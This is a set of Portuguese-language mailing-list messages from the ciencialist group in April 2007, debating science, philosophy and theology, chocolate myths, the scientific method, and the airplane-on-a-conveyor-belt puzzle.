>[mailto:ciencialist@yahoogrupos.com.br] On Behalf Of José Carlos Antonio
>Sent: Thursday, April 05, 2007 6:01 PM
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] P/ Manuel - Discordando, educadamente..:-) Re: Em
>defesa doparadoxo
>
>
>
>Também estou disposto a viajar na maionese em PVT. Vocês têm meu e-mail.
>
>Abraços,
>JC
>
>--- Em ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br> , "oraculo333" <oraculo@...>
>escreveu
> >
> > Olá Manuel
> >
> > Não há como tentar contestar um escritor de seu calibre, e com sua
> > erudição, em mensagens curtas e rápidas, então terá de ser do modo
> > doloroso, longas e complexas mensagens, que podem entediar os
> > co-listeiros..:-)
> >
> > E como o assunto tem algo grau de "off-topic", eu gostaria de
> > continuar em PVT, se você concordar. Evitaríamos de encher a lista de
> > elocubrações metafisicas.:-)
> >
> > É um assunto que me interessa, e sua opinião é importante e penso
> > sempre bem embasada, embora eu discorde de uma parte de suas conclusões.
> >
> > Por favor, me avise se concordar em continuar em PVT, sim?
> >
> > Um grande abraço.
> >
> > Homero
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br
><mailto:ciencialist%40yahoogrupos.com.br> , Manuel Bulcão
> > <manuelbulcao@> escreveu
> > >
> > > Oi
> > >
> > > JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
> > > Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
> > > causal com a outra."
> > >
> > > MB: O problema é que, assim como não há uma linha "precisa"
> > > demarcando a vida da morte ou o que é vivo do que não é, do mesmo
> > > modo a fronteira que separa a ciência da filosofia não é uma linha,
> > > mas uma "zona", um claro-escuro, uma região nem preta nem branca, mas
> > > cinzenta - uma terra de ninguém ou de todos.
> > >
> > > HM: Mas o problema me parece sempre ser causado pela ilegítima
> > > invasão da teologia na área da ciência, do que o contrário. Nunca vi
> > > um estudo destinado a invalidar ou analisar uma afirmação teológica,
> > > a não ser quando está faz referências a aspectos físicos e materiais.
> > >
> > > MB: Tais estudos existem, de montão. Estou vendo, agora, nas
> > > prateleiras das minhas estantes, dois deles: "O Capelão do Diabo", de
> > > R. Dawkins (livro excelente de um escritor maravilhoso) e "A Perigosa
> > > Idéia de Darwin", de D. Dennett (um dos meus filósofos preferidos).
> > > Não são poucos os cientistas e diletantes da ciência que tentam
> > > assassinar os deuses com a Navalha de Ockham, cortando-lhes a
> > > jugular. Até que conseguem sangrar mortalmente alguns, como o urubu-
> > > totem entre outras divindades zoomórficas, quiméricas e
> > > antropomórficas. Não conseguem, porém, sequer arranhar o deus pensado
> > > por Anselmo, por Leibniz ou por Gödel.
> > >
> > > Muitos grandes cientistas e céticos cientificistas caem no ridículo
> > > ao comparar Deus com Papai Noel, Saci-Pererê, Caipora e que tais;
> > > como se a questão "eterna" e "perturbadora" da existência ou não de
> > > um propósito moral regendo o mundo - ou de uma "causa finalis" -
> > > fosse apenas uma curiosidade intelectual não mais intrigante que o
> > > problema que trata de xícaras de porcelana orbitando o Sol. Se fosse
> > > tão desimportante assim, não perderiam tanto tempo escrevendo
> > > calhamaços de 300, 400, 500 páginas.
> > >
> > > HM: Mas teologias parecem passar o tempo todo a desafiar a ciência,
> > > com "lacunas" de conhecimento que desejam chamar de deus (uma lacuna
> > > para chamar de sua, deveria ser o mote de todas as religiões..;-).
> > >
> > > MB: E que lacunas! - "A investigação científica das causas eficientes
> > > dos fenômenos naturais não pode avançar indefinidamente, tanto por
> > > razões práticas e também porque a própria ciência descobriu
> > > fronteiras absolutas do conhecimento. Com efeito, o que acontece nos
> > > marcos do espaço e do tempo de Planck jaz completamente submerso na
> > > incerteza quântica; a evolução dos sistemas dinâmicos complexos é, em
> > > médio prazo, imprevisível; e, neste universo em expansão acelerada,
> > > não se pode obter qualquer informação das regiões que se afastam de
> > > nós com rapidez maior que a velocidade da luz. Ora, não há razão para
> > > supor que os limites da ciência e do universo observável coincidem
> > > com os limites da realidade. Ademais, haja vista que o cérebro é
> > > produto dos mecanismos cegos da evolução (variação aleatória e
> > > seleção natural), consistindo, pois, numa engenhoca complexa, porém
> > > imperfeita, cheia de gambiarras, não é desarrazoado aventar que a
> > > razão objetiva apresenta aspectos que escapam ao poder de captação da
> > > razão subjetiva, humana. Sendo assim, além dos marcos da capacidade
> > > de predição do método científico pode ser que exista qualquer coisa
> > > inesperada, inclusive uma Causa Finalis manipulando, através das
> > > banais causas eficientes, toda a realidade. Ou até, quiçá, duas ou
> > > mais vontades divinas em conflito, de sorte que a 'aparente'
> > > initencionalidade dos processos naturais observáveis nada mais seja
> > > que a resultante ou vetor-soma dessas misteriosas forças intencionais
> > > antagônicas: Mazda e Ahriman."
> > >
> > > JC: "por fim, a Teologia é uma disciplina que trata de devaneios
> > > malucos sobre coisas estranhas de um universo fictício que só servem
> > > para justificar o dízimo pago pelos crentes."
> > >
> > > HM: Assino em baixo..:-) Mas tente convencer um religioso disso,
> > > tente convence-lo a manter sua teologia nesses termos..:-)
> > >
> > > MB: Sou mais ateu que todos vocês (o ateísmo é a minha "fé"), mas não
> > > subscrevo a pérola retórica do José Carlos. Pois vejo todos os dias
> > > matemáticos inteligentíssimos criando postulados arbitrários e,
> > > baseado neles, construirem universos contrafactuais com 30, 42, 367
> > > dimensões espaciais e meia dúzia ou mais de dimensões temporais
> > > (universos "racionais", matematicamente possíveis; chegam até a medir
> > > o seu grau de probabilidade).
> > >
> > > Também vejo físicos teóricos a calcularem com a precisão de 100 casas
> > > decimais a massa, o spin e outras propriedades de partículas que se
> > > sabe inexistentes, mas que "poderiam existir", como é o caso dos
> > > táquions.
> > >
> > > Ora, então por que não haveria de ter um ramo da filosofia - a
> > > teologia - ocupada com o "melhor dos mundos possíveis", mundo este em
> > > que o absurdo e o não-sentido, por mais que se manifeste, seja apenas
> > > aparente? O grande matemático Kurt Gödel se deleitou com esse
> > > assunto. Criou até um complexo silogismo - na linguagem lógico-
> > > matemática - em que conclui a existência real do "melhor dos mundos
> > > possíveis" em que não existe culpa sem castigo, dor sem compensação
> > > (um mundo regido por um propósito moral).
> > >
> > > Abraços,
> > > Manuel Bulcão
> > >
> >
>
>
>
>
>
>
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>solely for the use of the individual or entity to whom it is addressed. If
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SUBJECT: A CIÊNCIA DOS OVOS DE PÁSCOA
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 06/04/2007 00:59

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Olá,

Aproveitando o pano de fundo da Páscoa e o ataque dos chocolates malditos, pensei que seria útil você ter algo com que contra-atacar o enxame de calorias. E até, quem sabe, diminuir um pouco seu sentimento de culpa depois de comer o oitavo ovo de páscoa desta semana...

Se isso é possível? Bom, o resultado você poderá conferir adiante.

Boa leitura!


Dr. Alessandro Loiola.

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A CIÊNCIA DOS OVOS DE PÁSCOA

© Dr. Alessandro Loiola


Durante a época de Páscoa, além da comemoração da Passagem e da Fertilidade e de toda aquela história que aprendemos na escola durante as aulas de Educação Religiosa, também celebra-se o consumismo em cada canto dos supermercados e shoppings com os famigerados ovos de chocolate.

Além de área de nidificação do Coelhinho da Páscoa, as prateleiras destes locais se transformam em centro de peregrinação de outra subespécie interessante: com sorrisos de alívio estampados no rosto, os chocólatras de plantão finalmente podem circular impunes pela rua, livres de olhares condenadores. Afinal, todo mundo se torna um chocólatra em potencial no mês do coelhinho...

Acredita-se que os Astecas tenham sido primeiros chocólatras da história. Foram eles que inventaram o “chocolatl”, uma infusão com sementes de cacau que – segundo acreditavam – possuía poderes afrodisíacos. Diz-se que seu imperador, Montezuma, chegava a beber mais de 50 porções de chocolatl por dia – e outras doses extras antes de entrar em seu harém.

Os Astecas podiam até estar errados, mas não custa nada adicionar uma barrinha de chocolate à sua noitada. Só por precaução, sabe como é. E garanto que irá chamar menos atenção que aquela pílula azul.

O chocolate começou a ganhar a Europa em 1528, quando o famoso conquistador Cortez presenteou o Rei Carlos V com algumas sementes de cacau. A partir daí, o chocolate se tornaria tão popular e valioso na Espanha que sua produção seria mantida em segredo por vários séculos.

A primeira “fábrica” de chocolate surgiu na Inglaterra em 1657, mas o chocolate sólido só se tornaria popular mesmo no final do século XIX. Em 1876, na Suíça, Daniel Peter desenvolveu a técnica de adição de leite ao chocolate, dando a forma final ao produto que consumimos até hoje.

Desde que o Chocolate conquistou o mundo, surgiram dezenas de mitos sobre suas propriedades. Vez ou outra, um desses aparece durante uma consulta. Para lhe dar um ar de erudição enquanto você devora mais um ovo de Páscoa tamanho extra-super-gigante, selecionei 3 lendas comuns e suas explicações cientificamente embasadas. Espero que lhe sejam úteis!

Chocolate não contém nutrientes e ainda por cima engorda

O chocolate contém mais de 300 nutrientes e substâncias químicas diferentes, além de apresentar níveis elevados de flavonóides e compostos fenólicos capazes de diminuir o risco para doenças cardíacas.

Apesar de uma barra média de chocolate conter mais de 200 calorias, a maioria das pessoas acima do peso não come quantidades excessivas de chocolate. Na verdade, o consumo de açúcar nestas pessoas tende a estar abaixo da média. O problema está no elevado consumo total de calorias e na pouca quantidade de energia gasta em atividades físicas.

Chocolate causa cárie

Todo e qualquer alimento rico em açúcar pode contribuir para a formação de cáries. Entretanto, pesquisas no Forsyth Dental Center (Boston/EUA) e na Escola de Odontologia da Universidade da Pensilvânia, mostraram que o chocolate é capaz de anular o potencial acidificante do seu açúcar e reduzir a desmineralização dos dentes.

O açúcar contido no chocolate não é mais perigoso que o açúcar contido nos demais alimentos. O que importa é a qualidade da sua higiene bucal, não o tamanho da barra de chocolate.

Chocolate vicia

Em parte, é verdade. O chocolate possui uma capacidade incomum para interagir com a química cerebral. E essa maior afinidade pode resultar em comedores compulsivos.

Se você acha que possui vício em chocolate, uma boa idéia é comer vegetais folhosos verdes, como brócolis e aspargos: estes alimentos substituem algumas das substâncias que produzem o “vício” e podem ajudar a controlar os sintomas, evitando que você voe na jugular do vendedor de bombons mais próximo.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/04/2007 07:51

Olá José Renato,

Eu não me lembro de ter dito que havia algum conflito entre elas ("De
fato, não há nenhum conflito entre Ciência, Filosofia e Teologia, pois
cada uma trata de uma coisa que não tem nenhuma relação causal com a
outra."), os "conflitos" parecem surgir quando se confundi uma com
outra. Também não disse nada contra nossa liberdade de pensar,
imaginar ou "viajar na maionese" tentando criar um outro mundo onde
ciência, filosofia e teologia sejam tudo um só balaio de gatos, só não
confundo essa liberdade com os "fatos". E os fatos são claros para
mim: ciência lida com a realidade física, filosofia com o mundo das
idéias do universo de valores humanos e teologia com uma fantasia que
sustenta milhares de "padres e pastores" a troco de nada. :)

O Bulcão (esqueci de citar ele na lista dos "expulsáveis", he he) fez
uma alusão a uma "faixa cinza" (ou algo assim) que representaria os
limites entre uma coisa e outra. Eu não modelo a realidade usando
faixas de transição entre a lei da gravidade de Newton e a teoria do
lugar natural de Aristóteles e não aceito esse argumento como
validador para especulações sobre a convergência entre áreas
distintas, mas não posso impedi-lo de aceitar. Por isso mesmo disse
que em determinados momentos toda essa nossa conversa perde
completamente o sentido, pois enquanto "eu peço uma coca-cola, ela
pensa em casamento..." ("Sem lenço nem documento").

Então é isso José Renato. Temos crenças diferentes sobre esses temas.
Rezemos aos nossos deuses em templos separados. :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro Prof. José Carlos, não há conflitos entre Ciência, Filosofia e
Teologia
> porque todas tratam - ou deveriam tratar - daquilo que somos.
Entender isso
> é fácil: somos a referência de tudo o que constatamos na realidade. São
> esses conhecimentos que nos ensinam sobre a existência da humanidade
e de
> sua sobrevivência em um paraíso que não conseguimos preservar por
falta de
> sapiência em perceber o que vc disse em mensagem a Homero: aprender
ciência
> é aprender sobre humanidade.
> Não dá para separar uma da outra.
> []s
> José Renato
> .................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 05, 2007 12:52 AM
> Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesa
> doparadoxo
>
>
> Homero,
>
> Aproveitando a deixa e o fato de que estou lendo as todas mensagens
> dessa semana, vou sugerir uma técnica diferente de argumentação que
> tenho usado e tem dado certo contra esses pecadores:
>
> De fato, não há nenhum conflito entre Ciência, Filosofia e Teologia,
> pois cada uma trata de uma coisa que não tem nenhuma relação causal
> com a outra. A Ciência se preocupa com o mundo físico onde existimos e
> tem as melhores respostas para explicar seus fenômenos; a Filosofia
> trata de um outro mundo, o mundo das idéias sobre conceitos
> subjetivos como ética, moral, arte, beleza e outras coisas
> incomensuráveis e; por fim, a Teologia é uma disciplina que trata de
> devaneios malucos sobre coisas estranhas de um universo fictício que
> só servem para justificar o dízimo pago pelos crentes.
>
> Experimente usar isso, você vai ver como funciona. :)
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@> escreveu
> >
> > Olá Renato
> >
> > Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
> > muitos pensam."
> >
> > Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
> > e teologia, como mutuamente excludentes e contraditórias. A teologia,
> > a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
> > percepção humanas, desejos subjetivos e credulidade, enquanto a
> > ciência só existe porque deixou de lado todas essas coisas.
> >
> > Em especial, o pensamento mágico, a crença irracional em seres
> > imaginários, e a fé na interferência desses seres no universo físico.
> >
> > Deuses são incompatíveis com leis da física.
> >
> > Cientistas não rezam para que os elétrons mudem de órbita, nem para
> > que a lei da gravidade não falhe durante um experimento. Aprendemos
> > que ela não o fará, pois não há nenhuma intenção ou interferência em
> > sua ação.
> >
> > Mesmo valores ético-morais independem de religião ou teologia, e
> > podem, devem, ser construídos a partir da razão e da vontade humana.
> > Deixar as religiões para tras é uma vantagem que não se pode
> > subestimar, em se tratando de civilização e ética humana.
> >
> > No máximo, deixemos a filosofia lidar com os problemas subjetivos,
> > impedindo a teologia (qualquer das milhares existentes, e mutuamente
> > conflitantes) de distorcer e confundir essas questões.
> >
> > Homero
> >
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>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.26/746 - Release Date:
4/4/2007
> 13:09
>




SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/04/2007 09:43

Olá Takata!

Takata >>> Exato. Vc entendeu.

Takata, meu objetivo com o que vou te dizer a seguir
não é te ofender nem ser mal educado, é apenas criar
uma metáfora para expressar o que sinto do seu
comportamento. É o seguinte: as vezes você me parece o
True Blue, ou seja, uma máquina que só sabe jogar
xadrez. Por favor, considere o seguinte universo
humano. Eu moro em um sitio. No sitio não tem
internet. Só tem internet na lan house da cidadezinha
aqui perto. Do sitio até aqui são 15 quilômetros que
tenho de percorrer de bicicleta. Ou seja, é preciso um
bom esforço pra chegar aqui. Mas porque me dou a este
esforço? Para responder os emails. Mas porque
responder os emails? O que eu ganho com isto? Ganho a
possibilidade de ver e de apontar. Venho aqui
responder os emails porque vejo certas coisas e sei
que pode ser útil aponta-las. Por outro lado, sei que
outras pessoas vêem outras coisas e podem me apontar.
Ou seja, não venho aqui pra ficar dando xeque mate em
ninguém. Nem pra provar nada pra ninguém. Venho aqui
pra ser útil, se possível, e a quem for possível. Sua
resposta no ultimo email, confirmando que não queria
saber a resposta, mas apenas brincar de jogar o
feitiço contra o feiticeiro, me faz entender que temos
intenções bem distintas com este debate. Minha
intenção é ser útil, lhe apontando algo que, no meu
julgamento, você ignora. Porém, me parece que a sua
intenção é jogar xadrez. Se for, não tenho motivos
para continuar conversando com você sobre este
assunto. Porém, tudo isto que estou pré-supondo pode
ser apenas mais um dos meus mal julgamentos sobre suas
atitudes. Então, para evitar preconceito meu, e
verificar se vale a pena mesmo ficarmos aqui gastando
o tempo um do outro, preciso que você me responda
estas duas perguntas:

1)Em que posso lhe ser útil?
2)Qual sua intenção em debater a questão do mapa e do
território comigo?

Sinceramente
Ferrari




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EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
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SUBJECT: Re: [ciencialist] Re: Termodinâmica e a seta do tempo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/04/2007 10:51

Brudna sobre Ferrari: [ Na verdade, o que ele tem pra dizer, mas não diz,
é...
"Eu sei que vocês não sabem, mas eu também não sei. Eu só sei que não sei e
vocês não sabem... E vou ficar torturando vocês, já que vocês acham que
sabem muito, que sabem tudo e, aqui, nem sabem nada, já que aquilo que é
sabido é totalmente insignificante frente aos fatos".
............................

Manuel Bulcão para Brudna:
[ Significa dizer que a comunidade laica "tende" a incutir nos indivíduos em
formação apenas as regras atinentes à "moral de convivência", deixando à
livre decisão individual a escolha dos valores que dizem respeito à moral
(ou ética) da finalidade. São esses indivíduos, "atomizados", que cedo ou
tarde estarão frente a frente com o infinito e, a partir desse contacto,
terão que desenvolver a sua própria ética dos fins últimos. ]
.............................................

Caros, Brudna e Bulcão!

Enquanto estamos com saúde, juventude e despreocupação, nos sentimos sábios,
poderosos, donos do mundo, imortais e indestrutíveis. Tudo é festa e o fim
não nos interessa.
A consciência de nossa pequenez, dependência e fragilidade chega de diversas
formas. É esse íntimo despertar que nos faz refletir sobre o infinito e no
sentido da existência.

Abraços

José Renato
...................................................


----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 05, 2007 10:30 AM
Subject: [ciencialist] Re: Termodinâmica e a seta do tempo


Salve, Brudna!

Senti-me muito lisonjeado com a sua resposta. Afinal, a última vez em
que você remeteu uma mensagem parecida com esta última - com mais de
cinco linhas - para a C-List (a lista em que vc é o manda-chuva-mor)
foi em 1999, se não me engano.

Espero que vc continue assim: prolixo.

Brudna: Nao sei se os humanos tem tanta facilidade para perceber a
real dimensao do infinito...

Manuel: Até a eclosão da revolução industrial na Inglaterra, a
esmagadora maioria das pessoas nasciam e se desenvolviam no seio de
uma comunidade cristã, judaica, muçulmana, hindú, budista, taoísta,
xintoísta, animista etc.

De modo que, "pari passu" ao desenvolvimento do sistema nervoso e à
medida em que surgiam as pertuntas, as respostas já estavam prontas.
Ora, as impressões que tais respostas religiosas deixam num sistema
nervoso imaturo e em desenvolvimento é, sem sombra de dúvidas,
decisivo.

Como esses sistemas de crença, incutidos já na primeira infância e ao
tempo em que as indagações vão surgindo, conferem à vida do indivíduo
uma razão-de-ser, um sentido, um horizonte, uma (FIM)nalidade, em
conseqüência disso as pessoas, em regra, não percebiam com
facilidade "a real dimensão do infinito".

As coisas são diferentes numa sociedade industrial madura, com Estado
laico consolidado, pluralista há mais de um século e em que a liberal-
democracia, longe de ser novidade, é tradição.

Nesse novo contexto, é natural que, da educação moral recebida dos
pais e da escola, o que mais se fixe na memória sejam os preceitos
mais gerais, como "liberté, égalité, fraternité". Significa dizer que
a comunidade laica "tende" a incutar nos indivíduos em formação
apenas as regras atinentes à "moral de convivência", deixando à livre
decisão individual a escolha dos valores que dizem respeito à moral
(ou ética) da finalidade.

São esses indivíduos, "atomizados", que cedo ou tarde estarão frente
a frente com o infinito e, a partir desse contacto, terão que
desenvolver a sua própria ética dos fins últimos.

Bem, tenho outras coisas para dizer, mas fiquei com preguiça. Fica
para amanhã.

Abraços,
Manuel Bulcão



SUBJECT: Questão de Ordem - Direito de Defesa
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/04/2007 11:08

Olá lista!

Um colega integrante da nossa lista me mandou um email
em PVT. Estou respondendo aqui porque creio que as
perguntas e criticas que ele me fez, e minhas
respostas a elas, podem esclarecer as acusações
generalizadas das quais sou acusado, e que ao meu ver,
são injustas. Assim, este email e uma questão de ordem
e direito de defesa.

Não vou dizer o nome do integrante, pois se ele me
criticou em PVT suponho que ele não queira que vcs
saibam quem é ele. No lugar do nome dele vou escrever
"listeiro", ok?

Envio este email com o intuito de demonstrar que não
estou aqui pra me predispor com ninguém, nem falar
sobre dogmatismo religioso, ou filosofico. Pelo
contrário, participo desta lista a muitos anos e sou
avesso a qualquer tipo de dogmatismo, inclusive
cientifico. Se estou me manifestando atualmente da
forma que estou, reforço: minha motivação é ser útil,
se possivel, e a quem for possivel. Sendo assim, vamos
a mensagem.

Olá amigo listeiro!

Listeiro >>> Não te responder foi apenas um
posicionamento claro. Não falando, falei o que
realmente queria dizer. Que não acho legal seguir
neste tipo de discussão na lista.

--- Listeiro, entendo e respeito. Mas não concordo. A
ciência precisa sair do paradigma materialismo e quem
impede isto são os cientistas e não a ciência,
entende? Se você re-observar minhas manifestações na
lista, verá que em nenhum momento estou falando nada
da ciência (em si), mas sim dos cientistas e do
paradigma materialista. Ou seja, eu estou indo na base
da coisa, na causa do paradigma materialista que são
as crenças dos cientistas. Faço isto porque é ai que
está o problema que tem limitado o avanço dos novos
cientistas e dos novos paradigmas. Na lista estão os
cientistas, novos e tradicionais. Aos tradicionais,
precisamos questionar seus tradicionais paradigmas,
aos novos, precisamos estimula-los a produzir novos e
não apenas a decorar os tradicionais. Eis porque julgo
que é importante este tipo de debate. No fim, se os
tradicionais mapas estiverem certos, se eles forem
verdadeiros, porque temer? A verdade sempre prevalece,
não é mesmo?

Listeiro >>> O ponto é que essa é tradicionalmente
uma lista de ciência convencional. Se saímos um pouco
do rumo, com alguma freqüência, isso não faz mal a
ninguém. Mas se as mensagens que tratam de assuntos,
muitas vezes interessantes, mas fora deste contexto de
ciência que estamos acostumados (utilizado pela
lista), começam a ser a grande maioria das mensagens,
significa que muitos querem discutir um pouco do
assunto, ou poucos querem discutir muito. Mas perdemos
o foco e o ganho de termos listas por assunto.

--- Primeiro: será que é mesmo uma lista de ciência
convencional? Ou será que é uma lista onde só os
tradicionais tem voz. Pois quando alguém fala um “a”
que sai do “convencional” logo as autoridades caem
matando de pau. Que lista de ciências é esta? Onde uma
lista de ciência espera chegar assim, no mesmo lugar
comum de sempre? Na ciência família e propriedade?

--- Segundo: ciência convencional? Tá vendo como os
cientistas querem ser donos da ciência? Estão sempre
querendo convenciona-la aos seus interesses. A ciência
não é propriedade de nenhum cientista. Se a pessoa
quer ser convencional, tudo bem. Mas o que a ciência
tem a ver com isto? Deixa a ciência ser o que ela é:
instrumento humano de investigação.

Listeiro >>> Quando as pessoas entram em uma lista de
X, de uma coisa temos certeza (quase sempre): ele
gosta e quer discutir X. Ele pode não se pronunciar um
tempo, mas estará sempre acompanhando com algum
interesse. Quando começamos outros assuntos, que não
X, começam a ser dominantes na lista, no máximo
supomos que alguns gostam e outros não de Y. A
tendência é afastar e tirar o interesse daqueles que
não queriam estar discutindo Y. Por isso, e outras
razões, a maioria das listas tem moderadores.

--- Este seu argumento não procede, e você sabe que
não. O que estou discutindo com os listeiros da
ciencialist é o que tem de mais fundamental na ciência
“o método cientifico”. Só que não tem como compreender
o “método cientifico” sem compreender também o seu
aplicador “o cientista”. É só isto que estou dizendo.
É só isto que ninguém quer admitir, e fica irritado
quando aponto.

Listeiro >>> Não acho que você esteja discutindo
ciência.

--- Não estou mesmo. Em nenhum momento estive. Nem vou
estar. Ciência não se discute, se faz. Assim como
música não se discute, se faz. O que estou discutindo
é “o método cientifico”.

Listeiro >>> O que você chama de ciência materialista,
eu chamo de ciência.

--- A ciência não é materialista. Materialismo é uma
crença, não é uma coisa. A ciencia não tem como ser
materialista, é impossível. A ciência é um processo
dentro da realidade e a realidade não é material, é
real. Contudo, a mente dos cientista, que também não é
material, é habitada por este paradigma “o
materialismo”. E é assim que, apesar de nada na
realidade ser material, passa a ser, embora não sendo.
Entende o que estou dizendo?

Listeiro >>> Você levanta algumas questões filosóficas
importantes. Não são nenhuma novidade, nem precisam
ser (vc nunca disse que eram, apenas agiu como tal).
Mas a maior parte do tempo só diz coisas para as quais
não vejo nenhum valor.

--- Ok, respeito. Estou aqui debatendo pra ser util a
quem acha que o que digo tem valor. Se as pessoas
respondem indignadas está longe do meu controle. Se
respondo é pra esclarecer o que afirmo, não para
confundir, impor, ou criar confusão. Pelo contrário,
exponho para ser útil, e respondo sobre o que exponho
para continuar sendo útil.

Listeiro >>> Na sua opinião, não sou ainda capaz de
entender o valor inerente.

--- Sempre digo o contrário, que todos podem
compreender. Mas que muitos não querem. É isto que
digo. Se você quiser compreender o que aponto, você
não só pode, como já sabe. Se não soubesse eu não
teria como lhe mostrar. Assim como não faria sentido
eu lhe mostrar as cores se você fosse cego. Mas meu
limite é apontar, ver é com você.

Listeiro >>> na minha opinião, faltam argumentos
válidos. E podemos discutir mais sobre isso, se você
quiser.

--- Sim, me diga o porque desta sua opinião. Se você
puder exemplificar ficará mais produtivo ainda o
debate sobre esta sua opinião.

Listeiro >>> Temos uma diferente concepção de
realidade. E também podemos discutir isso, se você
quiser.

--- Sim, claro! Você pode começar apontando as
diferenças. Ou então, me dizendo qual é a sua
concepção.

Listeiro >>> mas afirma categoricamente (com uma certa
prepotência até), que eu não sei o que é isso ou
aquilo e que você sabe. E que um dia eu, talvez,
perceba que isso que você sabe é a verdade verdadeira,
absoluta. Entende?

--- A suposta prepotência é só provocação. A afirmação
de que eu sei e o Homero não sabe, também é provocação
pra ver se ele abre a carta do materialismo. Mas não
significa que eu não saiba o que estou dizendo. Sim,
sei sim. Mas o que sei? Sei o que é fazer ciência.
Negar isto seria tão incongruente como negar que sei o
que é azul, o que é doce, etc. Não tem porque negar.
Mas também não sei mais do que ninguém. Todo os seres
humanos sabem o que eu sei, assim como todo ser humano
sabe o que é azul, doce, etc. Ou seja, não tem nenhum
segredo nem nenhuma verdade absoluta no que eu sei,
apenas me interesso por fenomenos que todos sabem,
conhecem, mas geralmente não dão nenhuma atenção: o
processo da ciencia (saber).

Listeiro >>> Te falta um pouco de humildade.

--- Respeito sua opinião. As vezes minha franqueza é
confundida como falta de humildade. Por outro lado, se
eu fizer esforço para ser humilde, a humildade vai ser
falsa e a franqueza vai por água abaixo, não é? Sendo
assim, faço esforço apenas para ser franco e assumo as
conseqüências.

Listeiro >>> A sua verdade não é necessariamente a
verdadeira. Na verdade não acredito nessa tal verdade
absoluta. Você talvez também fale que não acredita,
mas não será coerente com sua observação acima.

--- Tem algumas coisas ai:

--- 1) Sim, por ser obrigado a pensar, meu pensamento
deduz que existe sim uma realidade maior do que ele
(que vc chama de absoluta) que lhe obriga a continuar
pensando.

--- 2) Isto não significa que o conhecimento da
realidade produzido pelo pensamento é a realidade. Eu
sei que não é.

--- 3) É melhor separar os termos: verdade e
realidade. Verdade tem a ver com o conhecimento da
realidade (ser), realidade tem a ver com a realidade
(em si), com o ser (em si).


sinceramente
ferrari







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SUBJECT: Re: [ciencialist] Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/04/2007 11:39

Olá, Homero!

Parece-me que vc está bloqueado. Creio que é pelo fato de vc já ter
"definido" que eu estou errado. A partir dessa "definição" qualquer coisa
que eu escreva não será considerada em seus raciocínios.

Se for isso, peço sua ajuda. Afaste por instantes essa "definição" e
considere as informações abaixo. Caso contrário será um monólogo
inconclusivo. Pausa...

Respire, relaxe e vamos resolver esse desafio:

1. Quando um avião decola numa pista-esteira e sua velocidade é medida em
relação ao solo-pista, utilizando aparelhos de navegação tipo GPS, o avião
voa. Nesse caso, está se considerando o solo "fixo" ou "parado" como
referência e o que se move é o avião.

2. Agora vamos medir a velocidade do avião em relação ao piso-esteira, que
deve se movimentar na mesma velocidade do avião, só que em sentido
contrário.
Para melhor entendimento, pense no avião decolando sobre a pista-esteira
parada, velocidade zero. Acelera as turbinas, solta os freios e inicia a
decolagem. Após 10 segundos o avião atinge a velocidade de 100 km/h. Lembrar
que a correia deveria estar também a 100 km por hora, mas como ela não está
nesse tempo de 10 segundos o avião se deslocou para frente 1000 metros sobre
a esteira parada e, conseqüentemente, também em relação ao solo-terra e ao
ar.
Se a esteira-pista estivesse ligada e rolando em sentido contrário na mesma
velocidade do avião - conforme o enunciado do problema - após esses 10
segundos teria se deslocado também 1000 metros para trás, "trazendo" ou
mantendo o avião ao/no mesmo ponto inicial de decolagem. Nesse caso a
velocidade do vento nas asas do avião é praticamente zero, insuficiente para
fazê-lo alçar vôo. É como se ele continuasse "estacionado" na pista-esteira.

Abraços

José Renato
.................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 05, 2007 3:25 PM
Subject: [ciencialist] Re: Balanço do avião

Olá Renato

Renato: "Vc lembra como eram feitas as filmagens antigamente em que os
protagonistas ficavam em um carro ou diligência parada, sacolejando, e
o cenário rodava atrás dando a impressão de que o que se movimentava
era o carro ou a diligência. "

Está enganado. E está com enormes problemas em entender a questão da
propulsão. As diligencias usam as rodas, ou melhor, os cavalos e o
atrito de suas patas na esteira para se mover, por isso podem ficar
paradas enquanto a esteira rola para tras. Se colocar um "jato" nas
costas da diligencia, esta sairia andando para frente, não importa o
quanto a esteira rolasse para tras.

Se entendesse isso, entenderia seu erro recorrente.

Coloque um carro na esteira de testes das montadoras, e este ficará
parado sobre ela, pois usa as rodas como tração. Coloque um avião, e
este sairá voando, não importa o que a esteira faça.

A esteira apenas pode compensar a tração das rodas, não a propulsão do
avião.

Estou com preguiça de continuar a explicar esta questão, Renato. Se
